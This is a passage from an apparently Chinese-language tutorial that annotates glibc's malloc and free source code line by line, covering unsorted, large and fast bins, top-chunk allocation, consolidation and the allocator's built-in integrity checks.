             这有助于连续的小请求在物理内存上保持局部性。
             这是“最佳匹配（best-fit）”策略的唯一例外。
           */
          if (in_smallbin_range (nb) &amp;amp;&amp;amp;
              bck == unsorted_chunks (av) &amp;amp;&amp;amp;
              victim == av-&amp;gt;last_remainder &amp;amp;&amp;amp;
              (unsigned long) (size) &amp;gt; (unsigned long) (nb + MINSIZE))
            {
              /* 切割块并重新挂载剩余部分 */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              /* 将剩余部分放回 Unsorted Bin */
              unsorted_chunks (av)-&amp;gt;bk = unsorted_chunks (av)-&amp;gt;fd = remainder;
              av-&amp;gt;last_remainder = remainder;
              remainder-&amp;gt;bk = remainder-&amp;gt;fd = unsorted_chunks (av);

              /* 如果现在的last_remainder是一个大块，清空其 nextsize 指针 
                 这是为了防止“脏数据”干扰*/
              if (!in_smallbin_range (remainder_size))
                {
                  remainder-&amp;gt;fd_nextsize = NULL;
                  remainder-&amp;gt;bk_nextsize = NULL;
                }

              /* 设置 victim（分配给用户）和 remainder（留下的）的 header */
              set_head (victim, nb | PREV_INUSE |
                        (av != &amp;amp;main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);

              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p; /* 成功分配并返回 */
            }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.将块移出Unsorted Bin并尝试精确匹配&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;		/* 将当前块从 Unsorted Bin 链表中移除 */
          unsorted_chunks (av)-&amp;gt;bk = bck;
          bck-&amp;gt;fd = unsorted_chunks (av);

        /* 如果大小完全符合请求，直接返回，不再放入 bin */
          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &amp;amp;main_arena)
                victim-&amp;gt;size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4.归位：放入Small Bins或Large Bins&lt;/h4&gt;
&lt;p&gt;如果没有精确匹配，则将这个块放到Small Bins或者Large Bins&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 根据大小决定放入 Small Bin 还是 Large Bin */
          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck-&amp;gt;fd;
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck-&amp;gt;fd;

              /* 维护 Large Bins 的排序顺序（从大到小） */
              if (fwd != bck)
                {
                  /* 将 PREV_INUSE 参与比较以微幅加速 */
                  size |= PREV_INUSE;
                  //一个断言检查，检查bck的上一个chunk的size是否是合法的
                  assert ((bck-&amp;gt;bk-&amp;gt;size &amp;amp; NON_MAIN_ARENA) == 0);
                  /* 如果比当前 bin 中最小的块还要小，直接插到末尾 */
                  if ((unsigned long) (size) &amp;lt; (unsigned long) (bck-&amp;gt;bk-&amp;gt;size))
                    {
                      fwd = bck;
                      bck = bck-&amp;gt;bk;
                      /* 更新 nextsize 链表（用于快速跳过相同大小的块） */
                      /*将victim的fd_nextsize指向最大块*/
                      victim-&amp;gt;fd_nextsize = fwd-&amp;gt;fd;
                      /*将victim的bk_nextsize指向原来的最小块*/
                      victim-&amp;gt;bk_nextsize = fwd-&amp;gt;fd-&amp;gt;bk_nextsize;
                      /*这里是两个赋值操作*/
                      /*1.让最大块的bk_nextsize指向victim*/
                      /*2.让原来的最小快的fd_nextsize指向victim*/
			          fwd-&amp;gt;fd-&amp;gt;bk_nextsize = victim-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize = victim;
                    }
                  else
                    {
                      /* 在 Large Bin 中寻找合适的插入位置 */
                      assert ((fwd-&amp;gt;size &amp;amp; NON_MAIN_ARENA) == 0);
                      while ((unsigned long) size &amp;lt; fwd-&amp;gt;size)
                        {
                          fwd = fwd-&amp;gt;fd_nextsize;
                          assert ((fwd-&amp;gt;size &amp;amp; NON_MAIN_ARENA) == 0);
                        }

                      /* 如果大小相等，则插入在同大小块的第二个位置(不进 nextsize 链表)*/
                      if ((unsigned long) size == (unsigned long) fwd-&amp;gt;size)
                        fwd = fwd-&amp;gt;fd;
                      else
                        {
                          /* 插入新大小的节点到 nextsize 链表 */
                          victim-&amp;gt;fd_nextsize = fwd;
                          victim-&amp;gt;bk_nextsize = fwd-&amp;gt;bk_nextsize;
                          fwd-&amp;gt;bk_nextsize = victim;
                          victim-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize = victim;
                        }
                      bck = fwd-&amp;gt;bk;
                    }
                }
              else
                /* 第一个进入该 Large Bin 的块 */
                victim-&amp;gt;fd_nextsize = victim-&amp;gt;bk_nextsize = victim;
            }

          /* 最终执行插入：将块放入目标 bin 的双向链表 */
          mark_bin (av, victim_index); /* 在 binmap 中标记该 bin 非空 */
          victim-&amp;gt;bk = bck;
          victim-&amp;gt;fd = fwd;
          fwd-&amp;gt;bk = victim;
          bck-&amp;gt;fd = victim;

          /* 安全限制：避免在 Unsorted Bin 过长时陷入死循环 */
#define MAX_ITERS        10000
          if (++iters &amp;gt;= MAX_ITERS)
            break;
        }//这个括号匹配的是第一步的while循环
		/*在第3步中，我们将victim移出了unsorted bin，如果这个块并没有精准匹配我们的需求
		那么我们将这个块放到small bins或者large bins中，我们最终的目的是在检查
		unsorted bins中有没有符合用户所需的chunk，于是现在重复第一步操作*/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果unsorted bin中没有符合用户所申请的chunk，那么这将会是一个大的申请，那么就会进行接下来的一步——&lt;/p&gt;
&lt;h3&gt;在large_bins中分配内存&lt;/h3&gt;
&lt;p&gt;当 &lt;strong&gt;Fastbins&lt;/strong&gt;、&lt;strong&gt;Small Bins&lt;/strong&gt; 和 &lt;strong&gt;Unsorted Bin&lt;/strong&gt; 都没能满足请求，且请求的大小（&lt;code&gt;nb&lt;/code&gt;）属于 &lt;strong&gt;Large Bin&lt;/strong&gt; 范围时，&lt;code&gt;malloc&lt;/code&gt; 会在这里执行 &lt;strong&gt;Best-Fit（最佳匹配）&lt;/strong&gt; 算法。&lt;/p&gt;
&lt;h4&gt;1.尝试在对应的大小large bins中分配内存&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/*
         如果是一个大请求，按排序顺序扫描当前 bin 中的 chunks，
         找到满足条件的最小块。为此使用跳表（skip list）。
       */

      if (!in_smallbin_range (nb))
        {
          /* 获取当前 size 对应的 large bin 头部 */
          bin = bin_at (av, idx);

          /* 如果 bin 为空，或者 bin 中最大的块（第一个块）都比请求的 nb 小，
             则跳过扫描。
           */
          if ((victim = first (bin)) != bin &amp;amp;&amp;amp;
              (unsigned long) (victim-&amp;gt;size) &amp;gt;= (unsigned long) (nb))
            {
              /* 由于 large bin 中的 chunks 是按从大到小排序的，
                 first(bin) 指向最大的块。通过 bk_nextsize，
                 我们可以直接跳到该 bin 中【最小】的块，
                 然后从小往大搜，以实现“最佳匹配”。
               */
              victim = victim-&amp;gt;bk_nextsize;
              while (((unsigned long) (size = chunksize (victim)) &amp;lt;
                      (unsigned long) (nb)))
                victim = victim-&amp;gt;bk_nextsize;

              /* 【性能优化】
                 避免移除某种大小的第一个条目（即跳表节点），
                 这样就不必重新路由跳表（skip list）的指针。
               */
              if (victim != last (bin) &amp;amp;&amp;amp; victim-&amp;gt;size == victim-&amp;gt;fd-&amp;gt;size)
                victim = victim-&amp;gt;fd;

              remainder_size = size - nb;
              /* 将选中的块从 bin 的双向链表和跳表中移除 */
              unlink (av, victim, bck, fwd);

              /* 耗尽（Exhaust）：如果切割后剩下的部分太小（小于最小 chunk 大小） */
              if (remainder_size &amp;lt; MINSIZE)
                {
                  /* 不进行切割，将整个块给用户，设置 inuse 位 */
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &amp;amp;main_arena)
                    victim-&amp;gt;size |= NON_MAIN_ARENA;
                }
              /* 切割（Split） */
              else
                {
                  /* 在 victim 偏移 nb 的地方切出一个新的 remainder */
                  remainder = chunk_at_offset (victim, nb);
                  
                  /* 我们不能假设 unsorted list 是空的，
                     因此必须在这里执行一次完整的插入操作。
                   */
                  bck = unsorted_chunks (av);
                  fwd = bck-&amp;gt;fd;
                  
                  /* 【安全检查】检查 unsorted bin 双向链表的完整性 */
                  if (__glibc_unlikely (fwd-&amp;gt;bk != bck))
                    {
                      errstr = &quot;malloc(): corrupted unsorted chunks&quot;;
                      goto errout;
                    }
                  
                  /* 将 remainder 插入到 unsorted bin 的头部 */
                  remainder-&amp;gt;bk = bck;
                  remainder-&amp;gt;fd = fwd;
                  bck-&amp;gt;fd = remainder;
                  fwd-&amp;gt;bk = remainder;
                  
                  /* 如果 remainder 仍然属于 large bin 范围，清空其跳表指针 */
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder-&amp;gt;fd_nextsize = NULL;
                      remainder-&amp;gt;bk_nextsize = NULL;
                    }
                  
                  /* 设置分配块（victim）和剩余块（remainder）的头部/脚部信息 */
                  set_head (victim, nb | PREV_INUSE |
                            (av != &amp;amp;main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              
              /* 检查、扰动并返回内存指针 */
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.更大的bins中分配内存&lt;/h4&gt;
&lt;p&gt;假如在对应的大小bins中没有合适的chunk，那么就扩大搜索，去更大的bins中寻找可分配的chunk&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	   /*
         通过扫描 bins 来寻找块，从下一个更大的 bin 开始。
         这种搜索严格遵循最佳匹配（best-fit）原则；即选择满足条件的
         最小块（如果大小相同，则大致选择最久未使用的那个块）。

         位图（bitmap）避免了检查大多数 bin 是否为空的需要。
         在初始阶段（尚未有块返回时）跳过所有 bin 的特定情况，
         其实际执行速度比看起来要快。
       */

      /* 1. 从当前索引的下一个 bin 开始查找 */
      ++idx;
      bin = bin_at (av, idx);
      block = idx2block (idx); /* 获取该 bin 索引所在的位图块（通常是一个 32 位整数） */
      map = av-&amp;gt;binmap[block]; /* 读取该块的位图内容 */
      bit = idx2bit (idx);     /* 获取该索引在位图块中对应的比特位 */

      for (;; )
        {
          /* 2. 如果当前位图块中，从当前 bit 往后没有设置位（即 map 后面的位全为 0） */
          if (bit &amp;gt; map || bit == 0)
            {
              do
                {
                  /* 3. 寻找下一个非零的位图块 */
                  if (++block &amp;gt;= BINMAPSIZE) /* 如果所有 bin 都找遍了 */
                    goto use_top;            /* 绝望了，去求助 top chunk */
                }
              while ((map = av-&amp;gt;binmap[block]) == 0);

              /* 4. 找到了一个非空的位图块，重置 bin 指针和 bit 位到该块的起点 */
              bin = bin_at (av, (block &amp;lt;&amp;lt; BINMAPSHIFT));
              bit = 1;
            }

          /* 5. 在当前位图块中前进，直到找到被设置为 1 的比特位（代表该 bin 非空） */
          while ((bit &amp;amp; map) == 0)
            {
              bin = next_bin (bin);
              bit &amp;lt;&amp;lt;= 1;
              assert (bit != 0);
            }

          /* 6. 检查这个 bin。它极大概率是非空的 */
          victim = last (bin);

          /* 7. 如果是误报（false alarm，即位图显示有但 bin 实际为空），清除该位并继续 */
          if (victim == bin)
            {
              av-&amp;gt;binmap[block] = map &amp;amp;= ~bit; /* 修正位图，写回内存 */
              bin = next_bin (bin);
              bit &amp;lt;&amp;lt;= 1;
            }

          /* 8. 终于找到了真正可用的块！ */
          else
            {
              size = chunksize (victim);

              /* 我们确信这个 bin 里的第一个块肯定足够大（因为它属于更大的 bin） */
              assert ((unsigned long) (size) &amp;gt;= (unsigned long) (nb));

              remainder_size = size - nb;

              /* 9. 从链表中拆卸该块 */
              unlink (av, victim, bck, fwd);

              /* 耗尽（Exhaust）：如果剩下的小碎块不足以作为一个独立 chunk */
              if (remainder_size &amp;lt; MINSIZE)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &amp;amp;main_arena)
                    victim-&amp;gt;size |= NON_MAIN_ARENA;
                }
              /* 切割（Split）：把剩下的部分放回 Unsorted Bin */
              else
                {
                  remainder = chunk_at_offset (victim, nb);

                  /* 同样的，不能假设 unsorted 链表为空 */
                  bck = unsorted_chunks (av);
                  fwd = bck-&amp;gt;fd;
                  if (__glibc_unlikely (fwd-&amp;gt;bk != bck))
                    {
                      errstr = &quot;malloc(): corrupted unsorted chunks 2&quot;;
                      goto errout;
                    }
                  remainder-&amp;gt;bk = bck;
                  remainder-&amp;gt;fd = fwd;
                  bck-&amp;gt;fd = remainder;
                  fwd-&amp;gt;bk = remainder;

                  /* 10. 更新 last_remainder 标记，方便下次局部性优化 */
                  if (in_smallbin_range (nb))
                    av-&amp;gt;last_remainder = remainder;
                  
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder-&amp;gt;fd_nextsize = NULL;
                      remainder-&amp;gt;bk_nextsize = NULL;
                    }
                  
                  /* 设置头尾信息 */
                  set_head (victim, nb | PREV_INUSE |
                            (av != &amp;amp;main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果更大的large bins中都没有可以满足用户申请的chunk，那么就进行下一步——&lt;/p&gt;
&lt;h3&gt;在Top Chunk中分配内存&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;use_top:
      /*
         如果 Top Chunk 足够大，则从边界处切分出一块（Top Chunk 维护在 av-&amp;gt;top 中）。
         注意，这符合“最佳匹配（best-fit）”搜索规则。
         实际上，av-&amp;gt;top 被视为比任何其他可用 chunk 都大（因此匹配度较低），
         因为它可以在必要时无限扩展（受系统限制）。

         我们要求在初始化后，av-&amp;gt;top 必须始终存在（即大小 &amp;gt;= MINSIZE），
         因此，如果它会被当前请求耗尽，就必须对其进行补充。
         （确保其存在的主要原因是：在调用 sysmalloc 时，我们可能需要 MINSIZE 
         大小的空间来放置“栅栏桩（fenceposts）”。）
       */

      /* 1. 获取当前 Arena 的 Top Chunk 指针及大小 */
      victim = av-&amp;gt;top;
      size = chunksize (victim);

      /* 2. 检查 Top Chunk 是否足够大：
         除了满足请求的 nb，还必须至少剩下 MINSIZE (通常是 32 字节) 的空间，
         以保证 Top Chunk 不会被完全切没。
      */
      if ((unsigned long) (size) &amp;gt;= (unsigned long) (nb + MINSIZE))
        {
          /* 3. 计算切分后剩下的 Top Chunk 大小 */
          remainder_size = size - nb;
          /* 4. 计算剩下那部分的起始地址（这就是新的 Top Chunk） */
          remainder = chunk_at_offset (victim, nb);
          av-&amp;gt;top = remainder;

          /* 5. 设置分配块（victim）的头部信息。
             注意：Top Chunk 永远处于使用状态的前任之后，所以 P 位设为 1。
          */
          set_head (victim, nb | PREV_INUSE |
                    (av != &amp;amp;main_arena ? NON_MAIN_ARENA : 0));
          /* 6. 设置新的 Top Chunk 的头部（大小更新，且 P 位始终为 1） */
          set_head (remainder, remainder_size | PREV_INUSE);

          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p; /* 恭喜！终于在 Top Chunk 这里拿到了内存 */
        }

      /* 7. 如果 Top Chunk 太小，但当前 Arena 还有 Fastchunks：
         这是一种兜底：虽然之前查过 Bin，但可能有些 Fastbins 的块因为原子操作
         延迟还留在那。这里强制进行一次合并（Consolidate），把碎片凑成大块。
         并将索引重置，再次回到开头检查unsorted bin，small bins和large bins
      */
      else if (have_fastchunks (av))
        {
          malloc_consolidate (av);
          /* 恢复原始的 bin 索引，准备重新开始搜索逻辑 */
          if (in_smallbin_range (nb))
            idx = smallbin_index (nb);
          else
            idx = largebin_index (nb);
          /* 注意：这里没有 return，会因为外层的 for(;;) 循环重新跑一遍搜索 */
        }

      /*
         否则，交给系统相关的逻辑来处理（即申请新堆空间或 mmap）
       */
      else
        {
          /* 8. 最后的希望：sysmalloc。
             它会通过 brk 扩展堆地址空间，或者通过 mmap 申请新内存。
          */
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p; /* 无论成败，这里是 malloc 的出口 */
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，int_malloc的内容我们介绍完l&lt;/p&gt;
&lt;h1&gt;Free&lt;/h1&gt;
&lt;p&gt;介绍完malloc后，自然要介绍Free了
和malloc一样，free函数在libc里的名称其实是__libc_free，我们来看&lt;/p&gt;
&lt;h2&gt;_libc_free&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;void __libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* 对应 mem 的 chunk 指针 */

  /* 读取 __free_hook 钩子函数。
     这是 glibc 提供的一个调试/拦截接口。
  */
  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  
  /* 如果定义了钩子（hook 不为 NULL），则调用钩子函数并返回。
     __builtin_expect 提示编译器 hook 通常为 NULL。
  */
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }

  /* 如果 mem 为 0（即 free(NULL)），则不执行任何操作。
     C 标准规定 free(NULL) 是合法的且无副作用。
  */
  if (mem == 0)                               /* free(0) 没有效果 */
    return;

  /* 将用户空间的指针 mem 转换为指向 chunk 头部的指针 p。
     即：p = mem - (2 * SIZE_SZ)
  */
  p = mem2chunk (mem);

  /* 处理通过 mmap 分配的块。
     这种块不属于任何 arena，而是直接通过系统调用释放。
  */
  if (chunk_is_mmapped (p))                       /* 释放 mmapped 内存。 */
    {
      /* 检查是否需要动态调整 brk/mmap 的阈值。
         如果设置了允许动态调整，且当前块的大小在一定范围内。
      */
      if (!mp_.no_dyn_threshold
          &amp;amp;&amp;amp; p-&amp;gt;size &amp;gt; mp_.mmap_threshold
          &amp;amp;&amp;amp; p-&amp;gt;size &amp;lt;= DEFAULT_MMAP_THRESHOLD_MAX)
        {
          /* 动态提高 mmap 阈值：如果用户频繁 free 这种大型块，
             malloc 会学习并提高阈值，减少未来 mmap/munmap 的系统调用开销。
          */
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          /* 系统监控探测点 */
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      /* 直接调用内核接口解除映射 */
      munmap_chunk (p);
      return;
    }

  /* 获取该 chunk 所属的分配区（Arena）。 */
  ar_ptr = arena_for_chunk (p);
  
  /* 进入核心释放逻辑：_int_free。
     这里的 0 表示不是由特殊情况（如回退）调用的。
  */
  _int_free (ar_ptr, p, 0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同理核心函数还是&lt;code&gt;_int_free&lt;/code&gt;，&lt;code&gt;_libc_free&lt;/code&gt;是对&lt;code&gt;_int_free&lt;/code&gt;的简单包装，我们来看&lt;code&gt;_int_free&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;_int_free&lt;/h2&gt;
&lt;p&gt;同样的，这个函数比较长，我们分几个部分来介绍
首先是开头定义的临时变量&lt;/p&gt;
&lt;h3&gt;临时变量及安全检查&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* 块的大小 */
  mfastbinptr *fb;             /* 关联的 fastbin 链表头指针 */
  mchunkptr nextchunk;         /* 物理内存上紧邻的下一个 chunk */
  INTERNAL_SIZE_T nextsize;    /* 下一个块的大小 */
  int nextinuse;               /* 如果下一个块正在使用中，则为 true */
  INTERNAL_SIZE_T prevsize;    /* 物理内存上紧邻的前一个 chunk 的大小 */
  mchunkptr bck;               /* 用于链表链接的各种临时指针 */
  mchunkptr fwd;               /* 用于链表链接的各种临时指针 */

  const char *errstr = NULL;   /* 错误信息字符串 */
  int locked = 0;              /* 锁定状态标志位 */

  /* 提取当前 chunk 的真实大小（屏蔽掉低 3 位的标志位 P, M, A） */
  size = chunksize (p);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们来看下面的处理
首先是安全检查，检查size是否被恶意篡改成一个很大的值，传来的chunk指针是否是16字节对齐
size是否太小或者没有对齐&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 小小的安全检查，不会损害性能：
     分配器永远不会在地址空间的末尾绕回（wrap around）。
     因此，我们可以排除一些可能因意外或由某些入侵者“设计”而出现在这里的 size 值。 */

  /* 1. 检查地址回绕溢出
	  这里主要是检查size有否被篡改，如果size被修改成了一个很大的值，那么free在检查其物理相邻
	  的chunk时候空闲时，用当前chunk的地址加size，很有可能发生地址回绕，这有很大的安全隐患
     (uintptr_t) -size 等于2^64 - size，这里判断如果指针p的值&amp;gt;2^64 - size
     即p的值+size&amp;gt;2^64，这将会会发生整数溢出
  */
  if (__builtin_expect ((uintptr_t) p &amp;gt; (uintptr_t) -size, 0)
      /* 2. 检查 chunk 指针是否对齐
         在 64 位系统上，指针必须以 16 字节对齐。
      */
      || __builtin_expect (misaligned_chunk (p), 0))
    {
      errstr = &quot;free(): invalid pointer&quot;;
    errout:
      /* 如果出错时已经拿到了锁，先解锁 */
      if (!have_lock &amp;amp;&amp;amp; locked)
        (void) mutex_unlock (&amp;amp;av-&amp;gt;mutex);
      /* 报错并终止程序 */
      malloc_printerr (check_action, errstr, chunk2mem (p), av);
      return;
    }

  /* 我们知道每个 chunk 的大小至少为 MINSIZE 字节，
     或者是 MALLOC_ALIGNMENT 的整数倍。 */

  /* 3. 检查 size 是否太小，或者 size 本身没有对齐 */
  if (__glibc_unlikely (size &amp;lt; MINSIZE || !aligned_OK (size)))
    {
      errstr = &quot;free(): invalid size&quot;;
      goto errout;
    }

  /* 调试相关的宏：检查这个即将被释放的 chunk 是否真的被标记为“使用中” */
  check_inuse_chunk(av, p);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单的安全检查后，则会正式开始回收，首先是检查是否符合fast bin的大小，符合则回收至fast bin&lt;/p&gt;
&lt;h3&gt;回收至fast bins&lt;/h3&gt;
&lt;p&gt;这里的操作追求极致的快:&lt;strong&gt;不合并物理相邻的块，不清除 P 位，甚至在大多数情况下连锁都不用加&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 如果块的大小符合 fastbin 的标准（足够小），
     则将其放入 fastbin，以便在 malloc 中被快速找到并重用。 */

  if ((unsigned long)(size) &amp;lt;= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
      /* 如果设置了 TRIM_FASTBINS，不要把紧挨着 top chunk 的块放入 fastbins。
         因为紧挨着 top 的块如果合并进 top，更有利于归还内存给系统。 */
      &amp;amp;&amp;amp; (chunk_at_offset(p, size) != av-&amp;gt;top)
#endif
      ) {
      /* 检查物理上紧随其后的“下一个块”的大小是否合法。
       在堆内存中，任何正在使用的块后面必然紧跟着另一个块（哪怕是 top chunk）。
       如果下一个块的大小小于最小值或超过了系统总内存，说明堆结构被破坏了。 */
    if (__builtin_expect (chunk_at_offset (p, size)-&amp;gt;size &amp;lt;= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     &amp;gt;= av-&amp;gt;system_mem, 0))
      {
	/* 因为此时可能还没拿锁，系统内存的并发修改可能导致误报。
	   所以如果发现异常，先拿锁，再重新检查一遍。 */
	if (have_lock
	    || ({ assert (locked == 0);
		  mutex_lock(&amp;amp;av-&amp;gt;mutex);
		  locked = 1;
		  chunk_at_offset (p, size)-&amp;gt;size &amp;lt;= 2 * SIZE_SZ
		  || chunksize (chunk_at_offset (p, size)) &amp;gt;= av-&amp;gt;system_mem;
	      }))
	  {
	    errstr = &quot;free(): invalid next size (fast)&quot;;
	    goto errout;
	  }
    // ... 如果检查过了发现没问题，就解锁继续 ...
    /* 1. 如果开启了扰动机制，填充内存以助调试 */
    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

    /* 2. 在分配区状态中标记：现在 fastbins 里可能有货了 */
    set_fastchunks(av);
    unsigned int idx = fastbin_index(size);
    fb = &amp;amp;fastbin (av, idx);

    /* 3. 原子性地将 P 链接到对应的 fastbin 头部 (LIFO 栈) */
    mchunkptr old = *fb, old2;
    unsigned int old_idx = ~0u;
    do
      {
	/* 【核心安全检查】Double Free 检查！
	   检查当前 bin 的栈顶是否就是我们要释放的这个块 p。
	   注意：这只能检测“连续两次释放同一个指针”的情况。 */
	if (__builtin_expect (old == p, 0))
	  {
	    errstr = &quot;double free or corruption (fasttop)&quot;;
	    goto errout;
	  }
	/* 如果有锁，记录下当前栈顶块的大小索引，稍后做一致性检查 */
	if (have_lock &amp;amp;&amp;amp; old != NULL)
	  old_idx = fastbin_index(chunksize(old));
      
	p-&amp;gt;fd = old2 = old; // 将 p 的下一个指针指向当前的栈顶
      }
    /* 4. 使用 CAS (原子操作) 尝试更新栈顶为 p。
       如果在此期间别的线程改了栈顶，CAS 会失败并重试。 
       这就是 fastbin 回收不需要加互斥锁也能保证线程安全的原因。 */
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
    /* 如果持有锁，且原本栈顶不为空，检查旧栈顶的大小索引是否与新块一致。 */
    if (have_lock &amp;amp;&amp;amp; old != NULL &amp;amp;&amp;amp; __builtin_expect (old_idx != idx, 0))
      {
	errstr = &quot;invalid fastbin entry (free)&quot;;
	goto errout;
      }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;合并内存块&lt;/h3&gt;
&lt;p&gt;其核心目标是：&lt;strong&gt;把相邻的空闲内存块揉成一个更大的块，从而减少内存碎片。&lt;/strong&gt;
1.锁与边界检查（安检升级）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 如果不是 mmap 分配的块，执行常规合并流程 */
  else if (!chunk_is_mmapped(p)) {
    /* 必须加锁，因为接下来的合并操作会改动 bin 链表结构 */
    if (! have_lock) {
      (void)mutex_lock(&amp;amp;av-&amp;gt;mutex);
      locked = 1;
    }

    nextchunk = chunk_at_offset(p, size);

    /* 【安全检查】检查是否在释放 Top Chunk（这通常意味着指针损坏） */
    if (__glibc_unlikely (p == av-&amp;gt;top))
      {
        errstr = &quot;double free or corruption (top)&quot;;
        goto errout;
      }
    /* 【安全检查】检查下一个块是否超出了分配区的边界 */
    if (__builtin_expect (contiguous (av)
              &amp;amp;&amp;amp; (char *) nextchunk
              &amp;gt;= ((char *) av-&amp;gt;top + chunksize(av-&amp;gt;top)), 0))
      {
        errstr = &quot;double free or corruption (out)&quot;;
        goto errout;
      }
    /* 【核心 Double Free 检查】
       查看物理相邻的下一个块的 PREV_INUSE 位。
       如果该位为 0，说明当前块 p 已经是空闲的了。尝试释放一个已经空闲的块是 Double Free。 */
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      {
        errstr = &quot;double free or corruption (!prev)&quot;;
        goto errout;
      }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.向后合并（Consolidate Backward）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 向后合并：检查物理上前一个块是否空闲 */
    if (!prev_inuse(p)) {
      /* 如果前一个块是空闲的，利用 p-&amp;gt;prev_size 找到它的起点 */
      prevsize = p-&amp;gt;prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      /* 因为前一个块要和当前块合并成一个新块，所以必须把它从它所在的 Bin 链表中拆下来 */
      unlink(av, p, bck, fwd);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.向前合并（Consolidate Forward）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 如果下一个块不是 Top Chunk */
    if (nextchunk != av-&amp;gt;top) {
      /* 检查再下一个块，看 nextchunk 是否在使用中 */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* 如果下一个块（nextchunk）也是空闲的，合并它 */
      if (!nextinuse) {
        /* 将 nextchunk 从链表中拆卸 */
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
      } else
        /* 如果不合并，则清除 nextchunk 的 PREV_INUSE 位。
           这标志着它的前一个块（即当前的 p）现在是空闲的了。 */
        clear_inuse_bit_at_offset(nextchunk, 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;回收至unsorted bin&lt;/h3&gt;
&lt;p&gt;这里接着是向前和并，如果这个块的后一个块不是top chunk那么这个块肯定在堆的中间，我们将其回收到unsorted bin&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
        将 chunk 放入 unsorted chunk 链表中。
        在 chunk 被放入常规 bins（Small/Large Bins）之前，
        先给它一次在 malloc 中被直接利用的机会。
      */

      /* 获取 Unsorted Bin 的哨兵节点 */
      bck = unsorted_chunks(av);
      /* fwd 指向链表的第一个实际块（Unsorted Bin 是 FIFO 结构，插入在头部） */
      fwd = bck-&amp;gt;fd;

      /* 【安全检查】检查 Unsorted Bin 的双向链表是否被破坏。
         正常情况下，头节点的下一个节点的“前指向”必须是头节点自己。 */
      if (__glibc_unlikely (fwd-&amp;gt;bk != bck))
        {
          errstr = &quot;free(): corrupted unsorted chunks&quot;;
          goto errout;
        }

      /* 执行插入操作：将 p 插入到 bck(头) 和 fwd(原第一个块) 之间 */
      p-&amp;gt;fd = fwd;
      p-&amp;gt;bk = bck;

      /* 如果这个块的大小达到了 Large Bin 的范围，清空其跳表指针。
